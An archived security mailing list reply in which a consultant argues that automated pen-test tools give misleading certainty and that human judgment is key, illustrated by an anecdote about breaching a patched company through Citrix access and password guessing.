Re: VA vs PT tool

[Gregory Austin <greg () austinconsulting com>]

>Hi fw-wiz,
>
>i posted some time on the list a couple of months back for some
>recommendations on a good VA tool.
>
>The bulk of the responses pointed to ISS, NetRecon and Vigilante.
>
>However, a VA tool is limited, in that it only stops at the vulnerability.
>
>I'm looking at a Pen Test tool that not only does the VA functionality but
>also exploit the vulnerability thus defining it as a real THREAT and not
> just a vulnerability.
>
>Is there a widely accepted tool on the market right now ?
>
>
>Rgds,
>Simon Chan, MCP/MCSA/CCNA/CCSA/WCSP
>Senior Security Engineer

Simon,

     I've been doing miscellaneous VA/Audit work for more than a few years 
now, and I've worked with most of the popular VA products on the market on 
and off.  Moreover, I've been developing a VA product for the last year as 
well, in part because I wanted to be able to have VA tool that did a few 
things differently.  The tools I've used most (based on a combination of 
what I use myself and what my customers have purchased) are Nessus, ISS, 
Netrecon, Retina, and up until they killed it, Cybercop.  Beyond the 
reasoning Ben gave in his response, I have to say the idea of someone 
marketing the kind of tool you're asking about scares the heck out of me 
for another reason as well:

     That old saying about statistics could easily be used to describe VA 
tool output--"Lies, damn lies, and VA tool reports".

     The scary thing about a tool that purported to be "sure" about its 
results is that people without the technical skills to analyze those 
results might actually believe what it said.  Plenty of exploits don't work 
100% of the time anyway, and the worst thing in the world would be a "sure" 
tool that coughed up a false-negative to someone who trusted it.  The only 
way this could work at all is if the tool only added something like 
"verified" to its report for the items it could exploit--but in practice I 
bet that would end up working just the same.  The people I'm talking about 
(and there are plenty of them, trust me) would just start to ignore the 
unverified entries.  Besides, a tool like this would surely be more likely 
to cause problems on your network.

     Ben's response contained what I firmly believe--that the key factor 
in successful technical vulnerability assessment is human.  The person 
interpreting the results, and following up on them, is the most important 
piece of the puzzle.  The products all (even the good ones) suck in some 
way or another.  The only way to get anything like accurate results is to 
have something with opposable thumbs taking automated tool reports as one 
necessary part of an information gathering process that includes more 
intelligence than the tools can possess.

     Of course Ben's response also included what I think is an unjust shot 
at Nessus.  In my experience *all* of the tools are capable of screwing up 
something on a production network, not just Nessus.  Configured correctly 
Nessus is no worse than most and better than some.  IMNSHO Nessus is the 
only product in this class that is worth as much or more than what you paid 
for it.  I'm often in the position of testing with both Nessus and another 
(commercial) vulnerability assessment tool, and I've found that the biggest 
difference between them is fairly small--their results mostly overlap, with 
each one finding something useful the other didn't.  Of course the other 
not so minor difference is the $20,000 gap between the two when it comes to 
testing a large environment.  There are legitimate places to pick on Nessus 
(occasional instability and weak data manipulation/reporting are a couple 
that jump to mind) but I think suggesting it will burn down your network is 
a bit silly.  I've used it on plenty of production networks, and many of my 
customers run it regularly on their production networks--with no unusual 
amount of pain and suffering.

     Finally, if you have somebody performing a pen-test that's worth 
their salt they won't need a tool that takes one step farther for them 
anyway.  Pen-testing can't be performed by software, not now and without 
some sort of high-functioning AI probably not ever.  No program is ever 
going to be able to do even some of the simplest things that I've done when 
testing (and I am a self-confessed moron).  If pen-testing was just running 
some v-scanners and then firing up a library of exploits (adding up to what 
your "PT scanner" would amount to) I'd probably be out of a job.  Consider 
this, a human with a tiny bit of gray matter can often break into a company 
that has every system patched 100% up to date.   Real life example from a 
few years ago for you:  I was the check-up tester following a big-5 
assessment and related round of fixes for Company X.  Company X had 
twenty-odd servers that could be contacted on one or more ports from the 
Internet, all carefully DMZ'd behind clustered top-shelf 
firewalls.  V-scanners found *no* flaws on any of those systems.  One of 
the systems was a Citrix server  that could be contacted on port 1494 from 
the Internet.  Firing up the Citrix client proved that the server allowed 
the creation of custom connections.  The same company's website had an 
employee directory.  Simple password guessing using the supplied list of 
names to generate passwords gained access after just an hour or two of 
work.  Access that lead to the compromise of key internal systems.  Your 
hypothetical PT scanner would have just spit out "Everything's locked 
down--good job!" in that instance--and it would have been dead wrong.

     Just my retarded opinion, certainly not my company's,

Greg

P.S.  Other than giving Nessus a kick, I pretty much agree with everything 
Ben had to say, except for this:  Ben, you're wrong about nobody getting 
it.  Love the tick. :)

==============================
Greg is, among other things,  a moron.
Anything he has said above is solely his
own opinion, not that of his employer.
==============================

_______________________________________________
firewall-wizards mailing list
firewall-wizards () honor icsalabs com
http://honor.icsalabs.com/mailman/listinfo/firewall-wizards